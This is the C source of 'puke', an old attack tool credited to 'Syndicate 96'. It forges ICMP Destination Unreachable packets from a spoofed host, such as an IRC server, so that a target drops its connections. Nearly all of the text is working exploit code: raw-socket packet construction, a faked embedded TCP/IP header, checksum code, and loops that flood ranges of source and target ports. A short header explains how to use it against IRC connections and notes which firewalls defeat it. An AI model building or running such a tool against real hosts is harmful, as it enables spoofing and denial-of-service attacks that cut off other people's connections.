puke spoofs an icmp
unreachable error from an irc host (or any other
host for that matter), to a target
host, from a source port(s), to the
target port(s). The target
host will (hopefully) pass this error up to
the application layer and the TARGET
will drop the connection from the
SOURCE. We say "hopefully",
because through enabling IP Firewalling and
filtering out ICMP Unreachables
a host can be immune to these attacks
(most ISPs, and larger networks
have some sort of firewall configured, but
some still, do not filter out our
ICMP Unreachable messages).
Modified October 13, 1996 - Pixel
Dreamer
+Output modified greatly,
description of ICMP being sent
+Small optimization techniques
applied, more to be applied later
-Upper to Lower bounds disabled
on accident
Modified October 13, 1996 - Cowzilla
+Better descriptions of ICMP
message
+Upper to Lower bounds reinstated
:P
-----------> Syndicate 96
*****************************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <string.h>
#define PACKETSIZE (sizeof(struct
iphdr) + sizeof(struct icmphdr) + \
sizeof(struct iphdr) + 8)
#define ICMPSIZE (sizeof(struct
icmphdr) + sizeof(struct iphdr) + 8)
#define offsetTCP (sizeof(struct
iphdr) + sizeof(struct icmphdr) + \
sizeof(struct iphdr))
#define offsetIP (sizeof(struct
iphdr) + sizeof(struct icmphdr))
#define offsetICMP (sizeof(struct
iphdr))
#define offsetRIP (0)
static int thecode;
u_short cksum(u_short *, int);
void sendkill(char *, int, char
*, int);
void resolve_address(struct sockaddr
*, char *, u_short);
u_short cksum(u_short *buf, int
nwords)
{
unsigned long sum;
for (sum = 0; nwords
> 0; nwords--)
sum += *buf++;
sum = (sum >> 16)
+ (sum & 0xffff);
sum += (sum >> 16);
return ~sum ;
}
void resolve_address(struct sockaddr
* addr, char *hostname, u_short port)
{
struct sockaddr_in
*address;
struct hostent
*host;
address = (struct sockaddr_in
*)addr;
(void) bzero( (char
*)address, sizeof(struct sockaddr_in) );
/* fill in the easy
fields */
address->sin_family
= AF_INET;
address->sin_port
= htons(port);
/* first, check if
the address is an ip address */
address->sin_addr.s_addr
= inet_addr(hostname);
if ( (int)address->sin_addr.s_addr
== -1) {
/*it wasn't.. so we try it as a long host name */
host = gethostbyname(hostname);
if (host) {
/* wow. It's a host name.. set the fields */
/* ?? address->sin_family = host->h_addrtype; */
bcopy( host->h_addr, (char *)&address->sin_addr,
host->h_length);
}
else {
/* oops.. can't find it.. */
puts("Couldn't resolve address!!!");
exit(-1);
}
}
/* all done. */
}
void sendkill(char *fromhost, int
fromport, char *tohost, int toport)
{
char *packet;
static struct sockaddr_in
local, remote;
static int sock = 0;
if (!sock) {
resolve_address((struct
sockaddr *)&local, fromhost, fromport);
resolve_address((struct
sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET,
SOCK_RAW, 255);
if (sock==-1)
{
perror("Getting raw socket");
exit(-1);
}
}
/*
. Get memory for the
packet
*/
packet = (char *)malloc(PACKETSIZE);
if (!packet) {
perror("Getting
space for packet");
exit(-1);
}
/*
. Fill in our pretended
TCP header
. note - since this was allegedly an outgoing packet... we have
. to flip the source and destination stuff
*/
{
struct tcphdr
*fake_tcp;
fake_tcp = (struct
tcphdr *)(packet + offsetTCP);
fake_tcp->th_dport
= htons(fromport);
fake_tcp->th_sport
= htons(toport);
fake_tcp->th_seq
= 0x1984;
}
/*
. fill in the fake IP header.
. the same reversal as above still applies.. the packet was sent
. to our machine (yeah right)
*/
{
struct iphdr
*fake_ip;
fake_ip = (struct
iphdr *)(packet + offsetIP);
/* these fields
are irrelevant -- never checked?? */
fake_ip->version
= 4;
/* this was
much longer.. once */
fake_ip->tot_len
= htons(0x2C);
fake_ip->tos
= 0;
fake_ip->id
= htons(getpid() & 255);
fake_ip->frag_off
= 0;
fake_ip->ttl
= 24; /* not so long to live anymore */
/* this CAN'T
be checked..so do something != 0 */
fake_ip->check
= 3805;
/* these fields
are used .. */
fake_ip->ihl
= 5;
bcopy((char
*)&local.sin_addr, &fake_ip->daddr,
sizeof(fake_ip->daddr));
bcopy((char
*)&remote.sin_addr,&fake_ip->saddr,
sizeof(fake_ip->saddr));
fake_ip->protocol
= 6; /* a TCP packet */
}
/*
. fill in the ICMP header
. this is actally rather
trivial, though don't forget the checksum
*/
{
struct icmphdr
*icmp;
icmp =
(struct icmphdr *)(packet + offsetICMP);
icmp->type =
3;
icmp->code =
thecode; /* this will generate an error message */
icmp->un.gateway
= 0;
icmp->checksum
= cksum((u_short *)(icmp), ICMPSIZE >> 1);
}
/*
. finally, fill in the IP
header
. this is almost
the same as above.. though this time, it is the
. ip header that really takes the packet places. make sure the
. checksum and addresses
are right
*/
{
struct iphdr
*real_ip;
real_ip = (struct
iphdr *)packet;
real_ip->version
= 4;
real_ip->ihl
= 5;
real_ip->tot_len
= htons(PACKETSIZE);
real_ip->tos
= (7 << 5) | 4;
real_ip->ttl
= 255;
real_ip->protocol
= 1;
real_ip->check
= 0;
real_ip->id
= htons(3);
real_ip->frag_off
= 0;
bcopy((char *)&local.sin_addr, &real_ip->saddr,
sizeof(real_ip->saddr));
bcopy((char *)&remote.sin_addr, &real_ip->daddr,
sizeof(real_ip->daddr));
/*
real_ip->saddr
= htonl(ntohl(real_ip->daddr) & 0xffffff00L);
*/
real_ip->check
= cksum((u_short *)packet,
sizeof(struct iphdr) >>
1);
}
/*
.
. and now.. finally...
send it out into the net
*/
{
int result;
result = sendto(sock,
packet, PACKETSIZE, 0,
(struct sockaddr *)&remote,
sizeof(remote));
if (result !=
PACKETSIZE) {
perror("sending packet");
}
}
}
char *ICMP_TYPE(void)
{
char *mytype;
mytype = "Unknown
Type";
switch(thecode)
{
case 0:
mytype = "Net Unreacheable";
break;
case 1:
mytype = "Host Unreacheable";
break;
case 2:
mytype = "Protocol Unreacheable";
break;
case 3:
mytype = "Port Unreacheable";
break;
case 4:
mytype = "Fragmentation
Needed (doesnt cause reset)";
break;
case 5:
mytype = "Source Route Failed";
break;
case 6:
mytype = "Net Unknown";
break;
case 7:
mytype = "Host Unknown";
break;
case 8:
mytype = "Host Isolated";
break;
case 9:
mytype = "AuthNet";
break;
case 10:
mytype = "AuthHost";
break;
case 11:
mytype = "NetSvc";
break;
case 12:
mytype = "HostSvc";
break;
case 13:
mytype = "Packet Filtered";
break;
case 14:
mytype = "Precedence Violation";
break;
case 15:
mytype = "Precedence Cutoff";
break;
}
return(mytype);
}
main(int argc, char *argv[]) {
int si, i, codes;
if ((argc < 8)
|| (argc > 9))
{
puts("usage:");
puts(" puke <source host> <source port low> <source
port high> \\");
puts(" <target host> <target port low>
<target port high> <unreach type> \\" );
puts(" [-v] (optional verbose mode)");
exit(-1);
}
thecode = atoi(argv[7]);
printf("Using ICMP
Destination Unreacheable Code %d [%s]\n", thecode,
ICMP_TYPE());
for (si = atoi(argv[2]);
si <= atoi(argv[3]); si++)
{
printf("*** Source Port: %d\n", si);
if (argc == 8)
printf("*** Target Port : %d to %d\n", atoi(argv[5]), atoi(argv[6]));
if
(atoi(argv[5]) <= atoi(argv[6]))
{
for (i = atoi(argv[5]); i <= atoi(argv[6]); i++)
{
if ((argc
> 8) && (strcmp(argv[8],"-v")==0))
printf("%d \n", i);
sendkill(argv[1],
si, argv[4], i);
usleep(30000);
}
}
else
{
if (argc == 8) printf("*** Target Port : %d downto %d\n",
atoi(argv[5]), atoi(argv[6]));
for (i = atoi(argv[5]); i >= atoi(argv[6]); i--)
{
if ((argc
> 8) && (strcmp(argv[8],"-v")==0))
printf("%d \n", i);
sendkill(argv[1],
si, argv[4], i);
usleep(30000);
}
}
}
}